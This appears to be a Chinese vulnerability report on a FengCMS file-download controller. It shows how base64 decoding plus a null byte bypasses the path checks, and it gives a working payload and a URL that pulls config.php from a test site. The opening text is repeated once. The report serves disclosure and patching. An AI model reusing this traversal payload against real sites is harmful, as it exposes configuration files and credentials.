### 简要描述: 之前fengcms修复了好几次这个问题,但依旧知识不对。不过到我这个应该就终结了,我会给出好的解决方案。这也不是厂商的问题,如果不是专门搞安全的人也很难考虑到这一点。 多说一句,fengcms送的礼物已经收到了,再次感谢!这种厂商要奖励,很负责!! 官方给出的测试站已经升到最新版了,我这里测试通过,已经可以下载config.php。 ### 详细说明: /app/controller/downController.php: ``` class downController extends Controller{ public function index(){ $_GET['file']=base64_decode($_GET['file']); $_GET['file']=str_replace("..","",$_GET['file']); $exp=explode("/",$_GET['file']); if($exp[1]=="upload"){ if(file_exists(ROOT_PATH.$_GET['file'])){ header("Content-Type: application/force-download"); header("Content-Disposition: attachment; filename=".basename($_GET['file'])); readfile(ROOT_PATH.$_GET['file']); }else{ echo '<script type="text/javascript">alert("您要下载的文件不存在!");history.back();</script>'; } }else{ echo '<script type="text/javascript">alert("您要下载的文件不存在!");history.back();</script>'; } } } ``` 看他是怎么处理的: 1.base64_decode解码 2.过滤..为空 3.将$_GET['file']用/分割成$exp,并取第二个($exp[1]),判断$exp[1]是否等于upload,等于才允许下载 4.将root_path和$_GET['file']组合成绝对路径,下载文件...
### 简要描述: 之前fengcms修复了好几次这个问题,但依旧知识不对。不过到我这个应该就终结了,我会给出好的解决方案。这也不是厂商的问题,如果不是专门搞安全的人也很难考虑到这一点。 多说一句,fengcms送的礼物已经收到了,再次感谢!这种厂商要奖励,很负责!! 官方给出的测试站已经升到最新版了,我这里测试通过,已经可以下载config.php。 ### 详细说明: /app/controller/downController.php: ``` class downController extends Controller{ public function index(){ $_GET['file']=base64_decode($_GET['file']); $_GET['file']=str_replace("..","",$_GET['file']); $exp=explode("/",$_GET['file']); if($exp[1]=="upload"){ if(file_exists(ROOT_PATH.$_GET['file'])){ header("Content-Type: application/force-download"); header("Content-Disposition: attachment; filename=".basename($_GET['file'])); readfile(ROOT_PATH.$_GET['file']); }else{ echo '<script type="text/javascript">alert("您要下载的文件不存在!");history.back();</script>'; } }else{ echo '<script type="text/javascript">alert("您要下载的文件不存在!");history.back();</script>'; } } } ``` 看他是怎么处理的: 1.base64_decode解码 2.过滤..为空 3.将$_GET['file']用/分割成$exp,并取第二个($exp[1]),判断$exp[1]是否等于upload,等于才允许下载 4.将root_path和$_GET['file']组合成绝对路径,下载文件 如何绕过过滤,答案是\0截断。 首先,不管有没有全局addslashes或GPC,base64_decode就能无视之,引入一个\0,进行截断。 因为代码里取得是$exp[1]判断是否是"upload",所以我们可以把要下载的文件内容写在$exp[0]里,之后用\0截断掉,readfile的时候就能够把我要的config.php下载下来了。 所以罪魁祸首还是root_path是网站根目录,如果root_path是/upload目录的话,我想要下载config.php的话就必须要用../跳转到上层目录。 使用%00截断的条件是php版本小于5.3.4(左右吧,记不得),而官方给的测试站正好是5.2.x,所以可以通过测试,下载config.php。 ### 漏洞证明: 首先测试一下之前的https://images.seebug.org/upload/../config.php还能不能下载: [<img src="https://images.seebug.org/upload/201407/16203849bac0a0083ee11ff42c0b0caeab83bfa3.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/16203849bac0a0083ee11ff42c0b0caeab83bfa3.jpg) 果断不能了。。。 那么将file改成这样: ``` echo base64_encode("\\config.php\x00/upload"); ``` 也就是: http://guf521656.h163.92hezu.org/?controller=down&file=XGNvbmZpZy5waHAAL3VwbG9hZA 访问发现可以继续文件下载: [<img src="https://images.seebug.org/upload/201407/162039520744c06725507d6f48f3a80294031ada.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/162039520744c06725507d6f48f3a80294031ada.jpg) 这是下载到的config.php: [<img src="https://images.seebug.org/upload/201407/16204033180c0fe9cf7953455cf688e6c4fdb634.jpg" alt="03.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/16204033180c0fe9cf7953455cf688e6c4fdb634.jpg)